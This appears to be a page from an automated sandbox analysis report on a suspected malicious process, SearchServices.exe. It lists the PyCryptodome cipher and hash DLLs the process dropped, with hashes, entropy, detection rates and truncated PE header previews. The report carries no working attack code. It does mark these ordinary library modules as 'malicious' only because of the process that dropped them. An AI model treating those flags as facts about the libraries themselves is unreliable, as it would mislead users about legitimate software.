Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........3.ANRg.NRg.NRg.G..JRg...f.LRg..f.MRg.NRf.hRg...b.BRg...c.FRg...d.JRg...o.ORg...g.ORg.....ORg...e.ORg.RichNRg.........PE..d...`a.c.........." ...".8...................................................0............`.....................................................d...............l............ ..4...................................@...@............P...............................text....7.......8.................. ..`.rdata..f....P.......<..............@..@.data...8...........................@....pdata..l...........................@..@.rsrc...............................@..@.reloc..4.... ......................@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher\_raw_des3.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	58368
Entropy (8bit):	4.274897877598529
Encrypted:	false
SSDEEP:	384:1Uqho9weF5/dHkRnYcZiGKdZHDLhidErZ/ZYmGg:nCndH/lidgz
MD5:	DDBE90EDE6A159167987500E1F1FA56F
SHA1:	F4402803BC23288C7A790A8F1E9EDD6633E54203
SHA-256:	77B8C96A7880961397D8B201F26D5C1608114FDDF9012614378472615D9F8CCE
SHA-512:	B8E61748F6A07A8FCBEE2CC46410071E878E35D4058B4FA771CEBCB3DC24A65961487227CA4C1A2FFA14713D8A03CEEB4F40949125E2977A7B0739889ACCB56A
Malicious:	true
Antivirus:	Antivirus: Virustotal, Detection: 1%, Browse Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........3.ANRg.NRg.NRg.G..JRg...f.LRg..f.MRg.NRf.hRg...b.BRg...c.FRg...d.JRg...o.ORg...g.ORg.....ORg...e.ORg.RichNRg.........PE..d...`a.c.........." ...".:...................................................0............`.................................................P...d............................ ..4...................................@...@............P...............................text...x9.......:.................. ..`.rdata.......P.......>..............@..@.data...8...........................@....pdata..............................@..@.rsrc...............................@..@.reloc..4.... ......................@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher\_raw_ecb.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	10752
Entropy (8bit):	4.580590924669093
Encrypted:	false
SSDEEP:	96:kF0KVVdJvbrqTuy/Th/Y0IluLfcC75JiCKs89EpmFWLOXDwoUPj16XkcX6gbW6z:yVddiTHThQTctEEI4qXD61CkcqgbW6
MD5:	AEC314222600ADE3D96B6DC33AF380A6
SHA1:	C6AF3EDADB09EA3A56048B57237C0A2DCA33BEE1
SHA-256:	EA96505B38D27C085544FB129F2B0E00DF5020D323D7853E6A6A8645AC785304
SHA-512:	BBC00AA7FDF178BB6B2D86419C31967F2BC32D157AA7EE3AC308C28D8BF4823C1FAFCDE6C91651EDC05C146E44D7E59E02A76283890652B27C52F509C3B9EF9A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 1%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......&6).bWG.bWG.bWG.k/..`WG.-+F.`WG.)/F.aWG.bWF.AWG.-+B.iWG.-+C.jWG.-+D.aWG.+O.cWG.+G.cWG.+..cWG.+E.cWG.RichbWG.........................PE..d...aa.c.........." ..."............P........................................p............`.........................................p'......((..P....P.......@...............`..,...."...............................!..@............ ...............................text............................... ..`.rdata....... ......................@..@.data...8....0......."..............@....pdata.......@.......$..............@..@.rsrc........P.......&..............@..@.reloc..,....`.......(..............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher\_raw_eksblowfish.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	22016
Entropy (8bit):	6.141377807900961
Encrypted:	false
SSDEEP:	384:+U/5cRUtPMbNv37t6KjjNrDF6pJgLa0Mp8QA0gYP2lcCM:DKR8EbxwKflDFQgLa1gzP
MD5:	41A89191B9B8E07ED9C547AC438DB4A3
SHA1:	219EA040034C8CBB62CD89ADB6E10DD048C31778
SHA-256:	5E07E02F8E4DE54771A3D2D4F827EEC344A0D9C9BD92D12CB3D675985A43EEF5
SHA-512:	CBFD168EEB79E95587E90E1852FE9A8125AFE71EEA5590FDF3FE4E7850B9253384D96E2BABE4B6CB2E1AE6D67E5DABBF7542F7C5D8366B86D202C0A75C4E8C74
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........EY.o+..o+..o+......o+.....o+.....o+..o*..o+......o+.../..o+...(..o+...#..o+...+..o+......o+...)..o+.Rich.o+.................PE..d..._a.c.........." ...".(...0......P.....................................................`.........................................pY.......Z..d............p..................4...@S...............................R..@............@...............................text...X'.......(.................. ..`.rdata..T....@... ...,..............@..@.data...8....`.......L..............@....pdata.......p.......N..............@..@.rsrc................R..............@..@.reloc..4............T..............@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher\_raw_ocb.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	17920
Entropy (8bit):	5.350590052094681
Encrypted:	false
SSDEEP:	384:CxPHdP3Mj7Be/yB/MsB3yRcb+IqcOYoQViCBD8Og6Vf4A:CfPcnB8KEsB3ocb+pcOYLMCBDM
MD5:	759AA7FF756F6EB615AB4890DEDD113D
SHA1:	3F6AB4E9A4A6A75E7B5D356582A81AFDA9BA635F
SHA-256:	242B35BF5918BD1CBA69FEAAD47CBB50431D750EDCA6033875983E5FD4D9499C
SHA-512:	1FC3FEAC358B93CC2F6C4825CB150787F1DED00AE616B5B3FA26EBB1B43FEC6C2AF04436E021A1B0C2E219AB2203108D7447CDFEF3D48D710BAC18586A107E32
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........%Y.oK..oK..oK......oK...J..oK...J..oK..oJ..oK...N..oK...O..oK...H..oK...C..oK...K..oK......oK...I..oK.Rich.oK.........................PE..d...ba.c.........." ...".(... ......P.....................................................`..........................................I.......J..d....p.......`..................,....C...............................A..@............@...............................text....'.......(.................. ..`.rdata..8....@.......,..............@..@.data........P.......<..............@....pdata.......`.......>..............@..@.rsrc........p.......B..............@..@.reloc..,............D..............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher\_raw_ofb.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	4.737055801056659
Encrypted:	false
SSDEEP:	192:HjF/1nb2eqCQtkgU7L9D0u70fcqgYvEJPb:j2P6L9DHAxgYvEJj
MD5:	4ED6D4B1B100384D13F25DFA3737FB78
SHA1:	852A2F76C853DB02E65512AF35F5B4B4A2346ABD
SHA-256:	084E4B2DA2180AD2A2E96E8804A6F2FC37BCE6349EB8A5F6B182116B4D04BD82
SHA-512:	276201A9BCB9F88F4BBAC0CD9E3EA2DA83E0FB4854B1A0DD63CFF2AF08AF3883BE34AF6F06ECE32FAD2FD4271A0A09A3B576F1ED78B8A227D13C04A07EAF0827
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........EY.o+..o+..o+......o+.....o+.....o+..o*..o+......o+.../..o+...(..o+...#..o+...+..o+......o+...)..o+.Rich.o+.................PE..d...ba.c.........." ..."............P.....................................................`..........................................8.......9..d....`.......P..X............p..,....2...............................1..@............0...............................text............................... ..`.rdata.......0......................@..@.data...8....@.......&..............@....pdata..X....P.......(..............@..@.rsrc........`.......,..............@..@.reloc..,....p......................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Hash\_BLAKE2b.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	14848
Entropy (8bit):	5.206832553202038
Encrypted:	false
SSDEEP:	192:HAF/1nb2eqCQtkhlgJ2ycxFzShJD9JAac2QDeJKcqgQx2XY:a2PKr+2j8JD7fJagQx2XY
MD5:	9F3270860B5081BF0C760DFE2A3C9B56
SHA1:	828E5DF0E0C32117B16EA2F191045343C03189AF
SHA-256:	A5BBE28A102960AB0BFE5AEF5344CCEBED680996D97E984A28FEC30A0378A4EC
SHA-512:	78D68AD257309A48E8DBD7BD8732290B0F8FA26FF382708586045E9F68650453963F2C11BCEF13247A9FF08EB7A6079F6B78C5D85E5C329E2E1687B53BC63123
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........EY.o+..o+..o+......o+.....o+.....o+..o*..o+......o+.../..o+...(..o+...#..o+...+..o+......o+...)..o+.Rich.o+.................PE..d...]a.c.........." ..."..... ......P.....................................................`..........................................9......\|:..d....`.......P..@............p..,....3...............................2..@............0...............................text...X........................... ..`.rdata.......0....... ..............@..@.data...8....@.......0..............@....pdata..@....P.......2..............@..@.rsrc........`.......6..............@..@.reloc..,....p.......8..............@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Hash\_BLAKE2s.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	14336
Entropy (8bit):	5.1771869918697755
Encrypted:	false
SSDEEP:	192:HvF/1nb2eqCQt7fSxp/CJPvADQJntxSOvbcqgEvcM+:f2PNKxZWPIDqxVlgEvL
MD5:	C482FE81DF435CDDEF783AB0D8AD78B6
SHA1:	25E0E650F9135110234091D5263BE1721B8FE719
SHA-256:	55E20E1EFFE80F0D6655D690FA445659E0C692B800C4A01ECF3D43DFCB3324B2
SHA-512:	EF5A965B8505944E6B37581763CD9D525BBF1B877BFED319535AAB675D0382B8655CD6A4F2832F608C1D89CFD0DAE6005DEDA73A86B9D2D6E874953788EE0D36
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........EY.o+..o+..o+......o+.....o+.....o+..o*..o+......o+.../..o+...(..o+...#..o+...+..o+......o+...)..o+.Rich.o+.................PE..d...]a.c.........." ..."..... ......P.....................................................`.........................................09.......9..d....`.......P..@............p..,....3...............................2..@............0...............................text...8........................... ..`.rdata..4....0......................@..@.data...8....@......................@....pdata..@....P.......0..............@..@.rsrc........`.......4..............@..@.reloc..,....p.......6..............@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Hash\_MD2.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	14336
Entropy (8bit):	5.13708045081943
Encrypted:	false
SSDEEP:	192:ChsiHfq5po0ZUp8XnUp8XjEQnlDtL26rcqgcx2:CvqDZUp8XUp8AclDY69gcx2
MD5:	68AE8EF3B0499A0EAE6D9DCF6CC3FCE7
SHA1:	0349823078DD6ECDD2A5F3D0D12ECFDEFF262B9E
SHA-256:	C10EF2C6105F06BE03BEE0AA14C54459A16EB7273167F2FC72D01472AED5FD6D
SHA-512:	053DC5A5D7CB6E456DDA60FC50C916F58BB026F46CE4D5C1169169E69254F6607914B78AF448228B86C18766EC9B42A1BA521836C6ACE2E58D8BFBCF55173BF4
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........%Y.oK..oK..oK......oK...J..oK...J..oK..oJ..oK...N..oK...O..oK...H..oK...C..oK...K..oK......oK...I..oK.Rich.oK.........................PE..d...Va.c.........." ..."..... ......P.....................................................`..........................................9......0:..d....`.......P..(............p..,....4...............................2..@............0...............................text............................... ..`.rdata.......0......................@..@.data...h....@......................@....pdata..(....P.......0..............@..@.rsrc........`.......4..............@..@.reloc..,....p.......6..............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Hash\_MD4.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	13824
Entropy (8bit):	5.155928770266226
Encrypted:	false
SSDEEP:	192:CrsiHfq5pwUivkwXap8T0NchH73s47iDJEj2wcqgfvE:Clqbi8wap8T0Ncp7n7iDaFgfvE
MD5:	B3951783EBA6D4FAB923C72F3A2C878A
SHA1:	6E039BB7F85F143149BF60140BB4E061DCF3576B
SHA-256:	5D3C09AD192B426667ED9F4FE6FC44114F5C6D883C2D2C45740C2A10085A877D
SHA-512:	29A45E6B3A3179793EA105698E26BEE1A58573FF89B231E3F1FEB371F5DF31458A9DDA8D9408EA9144F68048A66E30899EC70283ABEAD810CB52E52800333D8C
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........%Y.oK..oK..oK......oK...J..oK...J..oK..oJ..oK...N..oK...O..oK...H..oK...C..oK...K..oK......oK...I..oK.Rich.oK.........................PE..d...Va.c.........." ..."............P.....................................................`.........................................p8...... 9..d....`.......P..(............p..,...@3...............................2..@............0...............................text............................... ..`.rdata..p....0......................@..@.data...p....@.......,..............@....pdata..(....P......................@..@.rsrc........`.......2..............@..@.reloc..,....p.......4..............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Hash\_MD5.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	15360
Entropy (8bit):	5.469762560808019
Encrypted:	false
SSDEEP:	192:CnZ9WfqP7M93g8UdsoS1hhiBvzcuiDSjeoGmDZsRBP0rcqgjPrvE:CCA0gHdzS1MwuiDSyoGmDGr89gjPrvE
MD5:	9DE2CFD4FE88F9E8E3820CE931FC1129
SHA1:	C2EA2284200EBBDC1179F36E8FA79F9ED0B27E80
SHA-256:	49E10215E1D6966B03470AF10E7D3B8BD5B5D6707A258C3B1286FF002145E3D1
SHA-512:	C6D0E43DF0E8F8E665BB1A78005A04F673E6B5211DB0A0F1D640088782D736838944F0612A59A3C0CB930631108B93FD8C2D51BF191A81A06FB6D5A3388CFF06
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........%Y.oK..oK..oK......oK...J..oK...J..oK..oJ..oK...N..oK...O..oK...H..oK...C..oK...K..oK......oK...I..oK.Rich.oK.........................PE..d...Wa.c.........." ...". ..........P.....................................................`..........................................8.......9..d....`.......P..X............p..,....3...............................1..@............0...............................text............ .................. ..`.rdata.......0.......$..............@..@.data........@.......2..............@....pdata..X....P.......4..............@..@.rsrc........`.......8..............@..@.reloc..,....p.......:..............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Hash\_RIPEMD160.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	13824
Entropy (8bit):	5.1381962215188866
Encrypted:	false
SSDEEP:	192:HMF/1nb2eqCQtZl9k9VEmosHcBZTHGF31trDbu8XiZmtwcqgk+9TI:m2PXlG9VDos8BZA33rDbuegk0gk+9U
MD5:	90D1B3F8A9D7BD9A983F20E6D3717FE3
SHA1:	E4C8804DD675336FCAF3347581C57552091F5542
SHA-256:	96C6205A2771F96971415BE26ED78FA60A863CCA7305AA0ABF5E53EF9278ADB4
SHA-512:	F3B6EAFBC235B0431AD03B7B296402F7DC40E4CF65B12C7C2D9B5D22A1DC5F1AC3F5BE9E4E56BD0195201CD5B1F851F3DDE4FE14F9778C49FA34786299D2EAF8
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........EY.o+..o+..o+......o+.....o+.....o+..o*..o+......o+.../..o+...(..o+...#..o+...+..o+......o+...)..o+.Rich.o+.................PE..d...\a.c.........." ..."..... ......P.....................................................`..........................................9.......:..d....`.......P...............p..,....4..............................P3..@............0...............................text...X........................... ..`.rdata.......0......................@..@.data...8....@.......,..............@....pdata.......P......................@..@.rsrc........`.......2..............@..@.reloc..,....p.......4..............@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Hash\_SHA1.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	17920
Entropy (8bit):	5.686639072946773
Encrypted:	false
SSDEEP:	384:CIPHdP3MjeQTh+QAZUUw8lMF6DE1tgj+kf4:CaPcKQT3iw8lfDSej+
MD5:	67E8AB67B5DB0A50AF2AEDEA886EB362
SHA1:	A7D071A3BE454B78A0A0BB100E5D9859C12F98E6
SHA-256:	044B09A6351DB40FE1F242C70942D865CE4CD42A12F24E358F84AE790677D92D
SHA-512:	B2E41422B6642E000D9220A1CF4188B1845A8CF9498338D66CA0DCC0724540694719A4D3EDA017CA6F2F77C3D6A6C427C6C86DB3910C686CECB58A40C5239E2E
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........%Y.oK..oK..oK......oK...J..oK...J..oK..oJ..oK...N..oK...O..oK...H..oK...C..oK...K..oK......oK...I..oK.Rich.oK.........................PE..d...Wa.c.........." ..."...........P.....................................................`..........................................H.......I..d....p.......`..X...............,....C...............................A..@............@...............................text....)......................... ..`.rdata.......@......................@..@.data........P.......<..............@....pdata..X....`.......>..............@..@.rsrc........p.......B..............@..@.reloc..,............D..............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Hash\_SHA224.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	21504
Entropy (8bit):	5.904187142846202
Encrypted:	false
SSDEEP:	384:CGljwG2JaiaqvYHp5RYcARQOj4MSTjqgPm4DwOArwgjxojS:C0jwLJlZYtswvbDwlr1jUS
MD5:	9F6EA560ABD556E1E372137BEAFD630C
SHA1:	E8FBC6AAEFA6A28957486EE024B45C8548EFEFB4
SHA-256:	282B357A06DC7D903B47A26535DCA2D5561007DF3FD2CFE6A1D984E0E9AF991E
SHA-512:	869716AB2501012D1236BE7CDEDED16A62031A409A8FE630D0F7817C1341321205F5B5A1BBB389FEC4661B6BB061552C464895EFCC7E01403BD0FCCED40557F0
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........%Y.oK..oK..oK......oK...J..oK...J..oK..oJ..oK...N..oK...O..oK...H..oK...C..oK...K..oK......oK...I..oK.Rich.oK.........................PE..d...Ya.c.........." ...".6... ......P.....................................................`..........................................Z.......[..d............p..................,... T...............................R..@............P...............................text...h5.......6.................. ..`.rdata.......P.......:..............@..@.data........`.......J..............@....pdata.......p.......L..............@..@.rsrc................P..............@..@.reloc..,............R..............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Hash\_SHA256.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	21504
Entropy (8bit):	5.906874026734986
Encrypted:	false
SSDEEP:	384:CtljwG2JaQaqvYHp5RYcARQOj4MSTjqgPm4Dw8regjxojS:C/jwLJbZYtswvbDw8r7jUS
MD5:	7A573F50BD6942E9BB68307E5B6A0BFF
SHA1:	7E0E435C8589EC3CECFE6354AE9E5AE868B9B209
SHA-256:	C6CD3F23D027FEBDF48161D3B74EDB6C9D4D1BDE23F775990F49572D8EB9DFB9
SHA-512:	9ECD754B99E020A169366CB8C99816070221C4DB2C1EF8C23B6DAC765E6BB56EA3ABBE969025AECEDE8EB6C3EA8C626562F2CDA3C4EA537C5DB1A841F19C2AD5
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........%Y.oK..oK..oK......oK...J..oK...J..oK..oJ..oK...N..oK...O..oK...H..oK...C..oK...K..oK......oK...I..oK.Rich.oK.........................PE..d...Xa.c.........." ...".6... ......P.....................................................`..........................................Z.......[..d............p..................,... T...............................R..@............P...............................text...h5.......6.................. ..`.rdata.......P.......:..............@..@.data........`.......J..............@....pdata.......p.......L..............@..@.rsrc................P..............@..@.reloc..,............R..............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Hash\_SHA384.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	26624
Entropy (8bit):	5.865358643370569
Encrypted:	false
SSDEEP:	768:CkDLB9k/jjcui0gel9soFdkO66MlPGXmXcu6DbKjL:fk/Au/FZ6nPxM5DejL
MD5:	FC70E2AF29A514CE21DEB91FA2F21B53
SHA1:	6ED627DD441483ACB43085273FB69D787EB21A2E
SHA-256:	BB0A16A2528A32E933EBE0B3A6EF85693D9D2993880675190633B87DD70B219D
SHA-512:	E1217276B9E7D57EEF9854150E27E0D196CEB9125938BBD0376C7AF48303B3E3F98C41E65A398FF06DC413266208CC6707DBEBD2C6415281B2F6771F9914F627
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........%Y.oK..oK..oK......oK...J..oK...J..oK..oJ..oK...N..oK...O..oK...H..oK...C..oK...K..oK......oK...I..oK.Rich.oK.........................PE..d...Za.c.........." ...".H..."......P.....................................................`......................................... l.......m..d...............................,....e...............................d..@............`...............................text....G.......H.................. ..`.rdata..X....`.......L..............@..@.data................^..............@....pdata...............`..............@..@.rsrc................d..............@..@.reloc..,............f..............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Hash\_SHA512.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	26624
Entropy (8bit):	5.9214502299059255
Encrypted:	false
SSDEEP:	768:CgYLh9avgjrui0gel9soFdkO66MlPGXmXcXrDnMxj:8avWu/FZ6nPxMbDUj
MD5:	51531F4C138871DA66E26AD05176A7F7
SHA1:	73F239AB5FDA66124440FCDADB25089F7DB53747
SHA-256:	EE0E755EBEB1650DDA116EA9CE1A173DD484070377340D277FE0FFC5A02B1838
SHA-512:	888008DD7CEA947C9B7506B9B4608A0E65D5886658A95FD5895EAEEFDF27E55C957FE750E6EC17E4E39FE2786AA2C4BB99B899CB8C1567AB3BB64C07923853CC
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........%Y.oK..oK..oK......oK...J..oK...J..oK..oJ..oK...N..oK...O..oK...H..oK...C..oK...K..oK......oK...I..oK.Rich.oK.........................PE..d...\a.c.........." ...".H..."......P.....................................................`..........................................l.......m..d...............................,...@f...............................e..@............`...............................text....G.......H.................. ..`.rdata.......`.......L..............@..@.data................^..............@....pdata...............`..............@..@.rsrc................d..............@..@.reloc..,............f..............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Hash\_ghash_clmul.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	12800
Entropy (8bit):	5.022910258326394
Encrypted:	false
SSDEEP:	192:6RF/1nb2eqCQtkbsAT2fixSrdYDtrymjcqgQvEW:6d2P6bsK4H+DcwgQvEW
MD5:	88E3148D1EB84022E508736D0D488185
SHA1:	4D1D3251CC5E61C7FCF5DC6273E3D7BA301D6CA9
SHA-256:	BA4C1492BB4884F3D77F61A7D23EC9E190EB7DA3A115A271D0954D933264FB71
SHA-512:	25A86C56B84275C2314AD1FD98635B43373977DFC6F2F6737F22B1962A3BB5480539A35DB9FBB70FCA16F5ACB5F19BAB63E1CADA776D1667D07332322F641A5F
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........&...H...H...H......H..I...H..I...H...I...H..M...H..L...H..K...H...@...H...H...H.......H...J...H.Rich..H.........................PE..d...]a.c.........." ..."............P.....................................................`..........................................8......89..d....`.......P...............p..,....3...............................1..@............0...............................text............................... ..`.rdata.......0......................@..@.data...8....@.......(..............@....pdata.......P.......*..............@..@.rsrc........`......................@..@.reloc..,....p.......0..............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Hash\_ghash_portable.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	13312
Entropy (8bit):	5.021050571118178
Encrypted:	false
SSDEEP:	192:HeF/1nb2eqCQtks0iiNqdF4mtPjD0MA5LPYcqgYvEL2x:02P6fFA/4GjDYcgYvEL2x
MD5:	1A3A27F63AFEB42C0282EADA02AC834A
SHA1:	FADDA44628AEF3EC70CC02FC0E43A88C7832F7BC
SHA-256:	E7A7AB2D31AEE3B99773C814114D60EB71107EF862930C582F99313943249163
SHA-512:	0D6D397F87CC5A8A83F1DF20687C967DF4FAF80CF0807AE2B06969E16C107F18A5D39CE34C32C42A53D1726A50860C180266ECAD81B4235F041920F496B25FC7
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........EY.o+..o+..o+......o+.....o+.....o+..o..o+......o+.../..o+...(..o+...#..o+...+..o+......o+...)..o+.Rich.o+.................PE..d...]a.c.........." ..."............P.....................................................`..........................................8......h9..d....`.......P..X............p..,....2...............................1..@............0...............................text............................... ..`.rdata.......0......................@..@.data...8....@.....................@....pdata..X....P.......,..............@..@.rsrc........`.......0..............@..@.reloc..,....p.......2..............@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Hash\_keccak.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	15872
Entropy (8bit):	5.2611173941646205
Encrypted:	false
SSDEEP:	384:CjP2T9FRjRskTdf4YBU7YP5yUYDn1give:CcHlRl57IC8UYDnG
MD5:	3CFA49A173B55891D855BF6D4FEB56C2
SHA1:	2AC09A5F0082B40B4DD801D436DE0391C76A5E6E
SHA-256:	0FAB7DF1E54416434F670EF97ED474FA11C09AA30BED1A8575A09E26DB6DF63C
SHA-512:	AD4B300C8F561A6068946590D53551C93D99D5A728ED87D142B4186CA65C28FE793D343BC09804AB9AEA2B8FAA263F06073BE4231D610390EFD65472C5E7AAC4
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........%Y.oK..oK..oK......oK...J..oK...J..oK..oJ..oK...N..oK...O..oK...H..oK...C..oK...K..oK......oK...I..oK.Rich.oK.........................PE..d...\a.c.........." ...". ... ......P.....................................................`.........................................`9......T:..d....`.......P..p............p..,....3...............................2..@............0...............................text............ .................. ..`.rdata.......0.......$..............@..@.data........@.......4..............@....pdata..p....P.......6..............@..@.rsrc........`.......:..............@..@.reloc..,....p.......<..............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Hash\_poly1305.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	15360
Entropy (8bit):	5.1302421684233535
Encrypted:	false
SSDEEP:	192:CHZNGfqDgvUh43G6coX2SSwmPL4V7wTdDll1Y2cqgWjvE:CiFMhuGGF2L4STdDJYWgWjvE
MD5:	ECA16BB6EF78ADF91705ACD412CE4F49
SHA1:	C1FFA8FD2A8898CCF4C923B54C015314DC76B333
SHA-256:	3A22C6E97AD47A8FA33E9B28455CE3E6D72008A9A1800F6489FF5AF752C37F18
SHA-512:	DAC721445E07944266BBFA4E6AE4CB5018FD2E042455D5FA545FA93CB009F3E539BB88FC2FA4CEB758C2AABCA67FCCD2043368F0D9B5B83EBEF35346F9EB7562
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........%Y.oK..oK..oK......oK...J..oK...J..oK..oJ..oK...N..oK...O..oK...H..oK...C..oK...K..oK......oK...I..oK.Rich.oK.........................PE..d...^a.c.........." ..."..... ......P.....................................................`......................................... 9.......9..d....`.......P..\|............p..,....3...............................1..@............0...............................text...X........................... ..`.rdata..(....0......."..............@..@.data........@.......2..............@....pdata..\|....P.......4..............@..@.rsrc........`.......8..............@..@.reloc..,....p.......:..............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Math\_modexp.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	35840
Entropy (8bit):	5.847604537982625
Encrypted:	false
SSDEEP:	768:dxSlYMeNklGS7W5AvQEzRI7V4pMgn0i9yoZrjrq1GS:HSlWNs57uAvQEzR04pMg0WpZrjrq
